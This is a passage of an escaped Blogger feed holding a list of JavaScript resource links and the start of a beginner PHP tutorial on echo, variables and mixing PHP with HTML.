&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://www.myphpetc.com/2009/03/jquery-select-element-cheat-sheet.html&quot;&gt;&lt;img alt=&quot; jQuery - Select element cheat sheet&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-76.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://www.ibm.com/developerworks/web/library/wa-jsframeworks/index.html&quot;&gt;Compare JavaScript frameworks&lt;/a&gt;&lt;br /&gt;
Modern Web sites and Web applications tend to rely quite heavily on  client-side JavaScript to provide rich interactivity, particularly  through the advent of asynchronous HTTP requests that do not require  page refreshes to return data or responses from a server-side script or  database system. In this article, you will discover how JavaScript  frameworks make it easier and faster to create highly interactive and  responsive Web sites and Web applications.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://www.ibm.com/developerworks/web/library/wa-jsframeworks/index.html&quot;&gt;&lt;img alt=&quot;Compare JavaScript frameworks&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-77.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://dailyjs.com/2010/01/27/pro-practices-1/&quot;&gt; Park your Horse, Code Cowboy: Professional JavaScript Workflows, Part 1&lt;/a&gt;&lt;br /&gt;
In this series, we’ll talk about tools &amp;amp; techniques you can use to  cover those No’s, and cut a lot of strife &amp;amp; embarrassment from your  JavaScript experience.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://dailyjs.com/2010/01/27/pro-practices-1/&quot;&gt;&lt;img alt=&quot; Park your Horse, Code Cowboy: Professional JavaScript Workflows, Part 1&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-47.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://www.java2s.com/Code/JavaScriptReference/CatalogJavaScriptReference.htm&quot;&gt;JavaScript Reference examples (example source code)&lt;/a&gt;&lt;br /&gt;
JavaScript Reference examples, organized by Objects, Properties, Methods  &amp;amp; Collections. Some Event Handlers Reference are also available.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://www.java2s.com/Code/JavaScriptReference/CatalogJavaScriptReference.htm&quot;&gt;&lt;img alt=&quot; JavaScript Reference examples (example source code) &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-20.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://dev.opera.com/articles/view/javascript-best-practices/&quot;&gt;JavaScript best practices&lt;/a&gt;&lt;br /&gt;
A compilation of best practices and good advice I’ve amassed over the  years, much of it learnt the hard way (experimentation and suchlike).  Take the advice below to heart and keep it in a part of your brain that  has a quick access route so you can apply it without thinking about it. I  am sure you will find things to disagree with, and that is a good thing  – you should question what you read, and strive to find better  solutions. However, I have found that following these principles has  made me a more effective developer and allowed other developers to build  upon my work more easily.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://dev.opera.com/articles/view/javascript-best-practices/&quot;&gt;&lt;img alt=&quot;JavaScript best practices &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-15.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://wtfjs.com/&quot;&gt;wtfjs&lt;/a&gt;&lt;br /&gt;
JavaScript is a language we love despite it giving us so much to hate.  This is a collection of those very special irregularities, inconstancies  and just plain painfully unintuitive moments for the language of the  web.&lt;br /&gt;
&lt;a href=&quot;http://wtfjs.com/&quot;&gt;&lt;img alt=&quot;wtfjs&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-41.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/2103576214610135674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/45-fresh-useful-javascript-and-jquery.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/2103576214610135674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/2103576214610135674'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/45-fresh-useful-javascript-and-jquery.html' title='45 Fresh Useful JavaScript and jQuery Techniques and Tools'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-4820362985609757685</id><published>2012-01-01T01:05:00.001-08:00</published><updated>2012-01-01T01:05:36.610-08:00</updated><title type='text'>PHP: What You Need To Know To Play With The Web</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;In this article, I’ll introduce you to the fundamentals of PHP. We’ll focus on &lt;b&gt;using PHP to access Web services&lt;/b&gt;  and on turning static HTML pages into dynamic ones by retrieving data  from the Web and by showing different content depending on what the user  has entered in a form or requested in the URL.&lt;br /&gt;
You won’t come out a professional PHP developer, but you’ll be well  on your way to building a small page that uses Web services. You can  find a lot of great PHP info on the Web, and most of the time you will  end up on &lt;a href=&quot;http://php.net/&quot;&gt;PHP.net&lt;/a&gt; itself. But I was asked  repeatedly on several hack days and competitions to write this quick  introduction article, so here it is. &lt;br /&gt;
&lt;div id=&quot;textadtarget&quot;&gt;&lt;div id=&quot;textad&quot;&gt;[&lt;b&gt;Editor&#39;s note&lt;/b&gt;: A must-have for professional Web designers and developers: &lt;i&gt;The Printed Smashing Books Bundle&lt;/i&gt; is full of practical insight for your daily work.  &lt;a href=&quot;http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?oaparams=2__bannerid=2863__zoneid=68__OXLCA=1__cb=ca51be4e7e__oadest=https%3A%2F%2Fshop.smashingmagazine.com%2Fsmashing-book-print-bundle1.html%3Fpk_campaign%3Dsmashing_books-bundle%26pk_kwd%3Dsm-ta-02&quot; target=&quot;_self&quot;&gt;Get the bundle right away&lt;/a&gt;!]&lt;br /&gt;
&lt;div id=&quot;beacon_ca51be4e7e&quot; style=&quot;left: 0px; position: absolute; top: 0px; visibility: hidden;&quot;&gt;&lt;img alt=&quot;&quot; height=&quot;0&quot; src=&quot;http://auslieferung.commindo-media-ressourcen.de/www/delivery/lg.php?bannerid=2863&amp;amp;campaignid=1018&amp;amp;zoneid=68&amp;amp;loc=1&amp;amp;referer=http%3A%2F%2Fcoding.smashingmagazine.com%2F2010%2F04%2F15%2Fphp-what-you-need-to-know-to-play-with-the-web%2F&amp;amp;cb=ca51be4e7e&quot; style=&quot;height: 0px; width: 0px;&quot; width=&quot;0&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;What Is PHP?&lt;/h3&gt;PHP is a server-side language that has become a massive success for three reasons:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;It is a very easy and forgiving language. Variables can be anything, and you can create them anytime you want.&lt;/li&gt;
&lt;li&gt;It is part of the free LAMP stack (Linux, Apache, MySQL, PHP) and thus available on almost any server you can rent on the Web.&lt;/li&gt;
&lt;li&gt;It does not need a special editor, environment or build process. All you do is create a file of the &lt;i&gt;.php&lt;/i&gt; file type, mix PHP and HTML and then put it on your server for rendering.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Installing PHP Locally, And Your First Code&lt;/h3&gt;To run PHP locally on your computer, you’ll need a local server with  PHP enabled. The easiest way to do this is to download and install &lt;a href=&quot;http://www.mamp.info/en/index.html&quot;&gt;MAMP for OS X&lt;/a&gt; or &lt;a href=&quot;http://www.apachefriends.org/en/xampp-windows.html&quot;&gt;XAMPP for Windows&lt;/a&gt;. Once you’ve installed any of these packages, you can start using PHP. Simply create a file named &lt;i&gt;index.php&lt;/i&gt; in the &lt;i&gt;htdocs&lt;/i&gt; folder of your MAMP or XAMPP installation.&lt;br /&gt;
In this file, type (or copy and paste) the following:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_525821&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$myname&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Chris&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;This is PHP&lt;br /&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&quot;My name is $myname&lt;br /&gt;
&quot;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;My name in another notation is still&amp;nbsp; &#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$myname&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;br /&gt;
&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;If you open this file in a browser by accessing your XAMPP or MAMP installation (via &lt;code&gt;http://localhost/index.php&lt;/code&gt; or &lt;code&gt;http://localhost:8888/index.php&lt;/code&gt;), you should see the following:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_485315&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;This is PHP&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;My name is Chris&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;My name in another notation is still Chris&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;But you won’t see that. The problem is that the third line does not end in a semicolon (&lt;code&gt;;&lt;/code&gt;).  This is an error. Depending on your PHP installation, you’ll get either  an error message or simply nothing. If you get nothing, then find the  file named &lt;i&gt;php_error.log&lt;/i&gt; on your hard drive, and open it. It will tell you what went wrong.&lt;br /&gt;
&lt;img alt=&quot;The PHP error log as shown on a Mac&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/04/phperrorlog1.jpg&quot; width=&quot;450&quot; /&gt;&lt;br /&gt;
The first thing to remember, then, is that every line of PHP has to end in a semicolon. If we fix this problem, &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php&quot;&gt;we get this result&lt;/a&gt;:&lt;br /&gt;
&lt;img alt=&quot;PHP rendered in a browser&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/04/php-rendered1.jpg&quot; width=&quot;450&quot; /&gt;&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_223246&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$myname&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Chris&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;This is PHP&lt;br /&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&quot;My name is $myname&lt;br /&gt;
&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;My name in another notation is still&amp;nbsp; &#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$myname&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;br /&gt;
&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;We can see here the first few important features of PHP:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;PHP blocks start with &lt;code&gt; and end with &lt;code&gt;?&amp;gt;&lt;/code&gt;. Anything between these two commands is interpreted as being PHP and returned to the document as HTML.&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Every line of PHP has to end with a semicolon (&lt;code&gt;;&lt;/code&gt;), or else it is an error.&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Variables in PHP start with a &lt;code&gt;$&lt;/code&gt;, not with the &lt;code&gt;var&lt;/code&gt; keyword as you do in JavaScript (this is where it gets confusing with jQuery and Prototype).&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;You print content to the document in PHP with the &lt;code&gt;echo&lt;/code&gt; command. There is also a &lt;code&gt;print&lt;/code&gt; command, which does almost the same, so you can use that, too.&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;In this example, we have defined a string named &lt;code&gt;myname&lt;/code&gt; as “Chris”. To print it with the &lt;code&gt;echo&lt;/code&gt;  command surrounded by other text, you need to either embed the variable  name in a text with quotation marks or concatenate the string with a  full stop when you use single quotation marks. This is line 3 and 4:  they do the same thing but demonstrate the different syntax.  Concatenation is always achieved with a full stop, never with a &lt;code&gt;+&lt;/code&gt; as you do in JavaScript.&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;code&gt; You can jump in and out of PHP anywhere in the document. Thus, interspersing PHP with HTML blocks is totally fine. For example:&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_65224&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$origin&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Outer Space&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$planet&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Earth&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$plan&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= 9;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$sceneryType&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;awful&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;br /&gt;
&lt;h1&gt;&lt;code class=&quot;plain&quot;&gt;Synopsis&lt;/code&gt;&lt;/h1&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;It was a peaceful time on planet &lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$planet&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;?&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;and&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;people in the &lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$sceneryType&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;?&amp;gt; scenery were unaware&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;of the diabolical plan &lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$plan&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;?&amp;gt; from &lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$origin&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;?&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;that was about to take their senses to the edge of what could be endured.&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;code&gt;This &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=1&quot;&gt;outputs the following&lt;/a&gt;:&lt;br /&gt;
&lt;img alt=&quot;Rendered variables in PHP&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/04/variables-rendered1.jpg&quot; width=&quot;450&quot; /&gt;&lt;br /&gt;
Are you with me so far? To show something on the screen, particularly numbers or a string, we use &lt;code&gt;echo&lt;/code&gt;. To show more complex structures, we need loops or specialized debugging methods.&lt;br /&gt;
&lt;h3&gt;Displaying More Complex Data Types&lt;/h3&gt;You can define arrays in PHP using the &lt;code&gt;array()&lt;/code&gt; method:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_893127&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
